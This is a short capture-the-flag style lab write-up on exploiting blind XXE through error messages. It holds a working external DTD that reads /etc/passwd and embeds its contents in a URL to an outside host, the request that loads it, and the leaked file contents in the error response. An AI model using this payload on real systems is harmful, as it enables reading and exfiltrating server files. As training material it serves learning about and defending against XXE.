

Exploiting blind XXE to retrieve data via error messages

1. This lab has a "Check stock" feature that parses XML input but does not display the result. To solve the lab, use an external DTD to trigger an error message that displays the contents of the /etc/passwd file.
2. As previous lab, we will make two payloads, one stored on the exploit server and the other will be sent in check stock request.
3. There is a small change in stored payload. This lab will be solved by making the website throw an error. So, we will not make the request send the result to logs page, we will make the request visit doesn't exist path to throw an error and execute my XML code.

This is stored code on the exploit server:

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<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % data "<!ENTITY &#x25; exfil SYSTEM 'notfound.com/?data=%file;'>">
%data;
%exfil;
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And this is the result:

Request	Response
<pre>19 20 <?xml version="1.0" encoding="UTF-8"?> 21 <!DOCTYPE foo[22 <!ENTITY % xxe SYSTEM 23 "https://exploit-0a4400b80458eaa7828ad22f015d0027. 24 exploit-server.net/exploit"> 25 %xxe; 26]> 27 <stockCheck> 28 <productId> 29 </productId> 30 <storeId> 31 1 32 </storeId> 33 </stockCheck></pre>	<pre>6 "XML parser exited with error: java.net.MalformedURLException: 7 no protocol: notfound.com/?data=root:x:0:0:root 8 :/root:/bin/bash 9 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 10 bin:x:2:2:bin:/bin:/usr/sbin/nologin 11 sys:x:3:3:sys:/dev:/usr/sbin/nologin 12 sync:x:4:65534:sync:/bin:/bin/sync 13 games:x:5:60:games:/usr/games:/usr/sbin/nologin 14 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 15 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 16 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 17 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 18 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 19 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 20 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin</pre>